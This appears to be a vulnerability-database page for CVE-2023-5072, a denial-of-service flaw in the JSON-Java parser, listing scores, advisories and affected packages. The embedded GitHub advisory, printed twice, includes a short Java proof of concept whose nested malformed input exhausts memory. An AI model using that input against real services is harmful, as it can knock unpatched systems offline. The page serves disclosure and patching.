Every CVE Search/ Get API key

CVE-2023-5072

DoS Vulnerability in JSON-Java

7.5 HighFix available

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.74%Up 1.7 points since Oct 13, 2023
90%50%10%1%

What each source reports

CVE List Score used 7.5

DoS Vulnerability in JSON-Java

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
EUVDEUVD-2023-2880 7.5

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
EUVD-2023-2880
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-4jq9-2xhw-jpx7 7.5

Java: DoS Vulnerability in JSON-JAVA

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

Record
GHSA-4jq9-2xhw-jpx7
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-358
Updated
2026-11-02
NVD 7.5

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
OSVALPINE-CVE-2023-5072 7.5

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
ALPINE-CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
OSV 7.5

DoS Vulnerability in JSON-Java

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
Show 6 moreShow less
OSVDEBIAN-CVE-2023-5072 7.5

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
DEBIAN-CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-4jq9-2xhw-jpx7 7.5

Java: DoS Vulnerability in JSON-JAVA

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

Record
GHSA-4jq9-2xhw-jpx7
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-358
Updated
2026-11-02
OSVROOT-APP-MAVEN-CVE-2023-5072 7.5

CVE-2023-5072 in org.json:json - Patched by Root

Root has patched CVE-2023-5072 in the org.json:json package for Root:Maven. Multiple fixed versions available.

Record
ROOT-APP-MAVEN-CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2023-5072 7.5

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

Record
UBUNTU-CVE-2023-5072
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2025-1761091596 No score

TuxCare security update for org.json:json (1 CVE)

TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20140107-tuxcare.2.

Record
CLSA-2025-1761091596
Updated
2026-11-02
OSVCLSA-2025-1761177997 No score

TuxCare security update for org.json:json (1 CVE)

TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20090211-tuxcare.3.

Record
CLSA-2025-1761177997
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
org.json:json
Maven
through 20230618
20231013
openjdk17
Alpine:v3.16
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.17
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.18
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.19
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.20
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.21
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.22
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.23
before 17.0.10_p7-r0
17.0.10_p7-r0
openjdk17
Alpine:v3.24
before 17.0.10_p7-r0
17.0.10_p7-r0
Show 44 moreShow less
Affected packages
PackageAffectedFixed
openjdk21
Alpine:v3.19
before 21.0.2_p13-r0
21.0.2_p13-r0
openjdk21
Alpine:v3.20
before 21.0.2_p13-r0
21.0.2_p13-r0
openjdk21
Alpine:v3.21
before 21.0.2_p13-r0
21.0.2_p13-r0
openjdk21
Alpine:v3.22
before 21.0.2_p13-r0
21.0.2_p13-r0
openjdk21
Alpine:v3.23
before 21.0.2_p13-r0
21.0.2_p13-r0
openjdk21
Alpine:v3.24
before 21.0.2_p13-r0
21.0.2_p13-r0
org.json:json
TuxCare:Maven
20140107 up to 20140107-tuxcare.2, plus listed versions
20140107-tuxcare.1
20140107-tuxcare.2
org.json:json
TuxCare:Maven
20090211 up to 20090211-tuxcare.3, plus listed versions
20090211-tuxcare.1
20090211-tuxcare.3
jenkins-json
Debian:12
All versions, plus listed versions
2.4-jenkins-3-72.4-jenkins-8+dfsg-1
None known
jenkins-json
Debian:13
All versions, plus listed versions
2.4-jenkins-8+dfsg-1
None known
jenkins-json
Debian:14
All versions, plus listed versions
2.4-jenkins-8+dfsg-1
None known
libjettison-java
Debian:12
All versions, plus listed versions
1.5.3-11.5.4-1
None known
libjettison-java
Debian:13
All versions, plus listed versions
1.5.4-1
None known
libjettison-java
Debian:14
All versions, plus listed versions
1.5.4-1
None known
libjson-java
Debian:12
All versions, plus listed versions
2.4-3.13.1.0+dfsg-13.1.0+dfsg-23.2.0+dfsg-13.2.0+dfsg-2
None known
libjson-java
Debian:13
before 3.1.0+dfsg-1
3.1.0+dfsg-1
libjson-java
Debian:14
before 3.1.0+dfsg-1
3.1.0+dfsg-1
org.json:json
Maven
before 20231013, plus listed versions
2007082920080701200902112013101820140107
Show 19 moreShow less
20141113201507292015112320160212201608072016081020170516201710182018013020180813201907222020051820201115202103072021120520220320202209242023022720230618
20231013
org.json:json
Root:Maven
before 20220320-aikido.1
20220320-aikido.120220320-aikido.2
io.root.org.json:json
Root:Maven
before 20230227-root.io.1
20230227-root.io.120230227-root.io.220230227-root.io.320220320-root.io.120220320-root.io.2
jenkins-json
Ubuntu:16.04:LTS
All versions, plus listed versions
2.4-jenkins-3-32.4-jenkins-3-4
None known
libjettison-java
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.2-31.2-3ubuntu0.1~esm11.2-3ubuntu0.1~esm2
None known
libjson-java
Ubuntu:16.04:LTS
All versions, plus listed versions
2.3-32.4-12.4-2
None known
jenkins-json
Ubuntu:18.04:LTS
All versions, plus listed versions
2.4-jenkins-3-5
None known
libjettison-java
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
1.2-31.4.0-11.4.0-1ubuntu0.18.04.1~esm11.4.0-1ubuntu0.18.04.1~esm2
None known
libjson-java
Ubuntu:18.04:LTS
All versions, plus listed versions
2.4-3
None known
jenkins-json
Ubuntu:20.04:LTS
All versions, plus listed versions
2.4-jenkins-3-5
None known
libjettison-java
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
1.4.0-11.4.0-1ubuntu0.20.04.11.4.0-1ubuntu0.20.04.1+esm1
None known
libjson-java
Ubuntu:20.04:LTS
All versions, plus listed versions
2.4-3
None known
jenkins-json
Ubuntu:22.04:LTS
All versions, plus listed versions
2.4-jenkins-3-6
None known
libjson-java
Ubuntu:22.04:LTS
All versions, plus listed versions
2.4-3.1
None known
libjettison-java
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
1.4.1-11.4.1-1ubuntu0.22.04.11.4.1-1ubuntu0.22.04.1+esm1
None known
jenkins-json
Ubuntu:24.04:LTS
All versions, plus listed versions
2.4-jenkins-3-7
None known
libjettison-java
Ubuntu:24.04:LTS
All versions, plus listed versions
1.5.4-1
None known
libjson-java
Ubuntu:24.04:LTS
All versions, plus listed versions
2.4-3.1
None known
jenkins-json
Ubuntu:25.10
All versions, plus listed versions
2.4-jenkins-8+dfsg-1
None known
libjettison-java
Ubuntu:25.10
All versions, plus listed versions
1.5.4-1
None known
libjson-java
Ubuntu:25.10
All versions, plus listed versions
3.1.0+dfsg-2
None known
jenkins-json
Ubuntu:26.10
All versions, plus listed versions
2.4-jenkins-8+dfsg-1build1
None known
libjettison-java
Ubuntu:26.10
All versions, plus listed versions
1.5.4-1
None known
libjson-java
Ubuntu:26.10
All versions, plus listed versions
3.2.0+dfsg-2
None known
jenkins-json
Ubuntu:26.04:LTS
All versions, plus listed versions
2.4-jenkins-8+dfsg-12.4-jenkins-8+dfsg-1build1
None known
libjettison-java
Ubuntu:26.04:LTS
All versions, plus listed versions
1.5.4-1
None known
libjson-java
Ubuntu:26.04:LTS
All versions, plus listed versions
3.1.0+dfsg-23.2.0+dfsg-2
None known

History

History
RecordedChangedSources
affected, aliases, referencesOSV
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-5072 is a high vulnerability (CVSS 7.5) in Stleary Json-java, published October 12, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.74%, the 77th percentile. Fixed in org.json:json 20231013.

References

Show 10 moreShow less
MoveEnter Open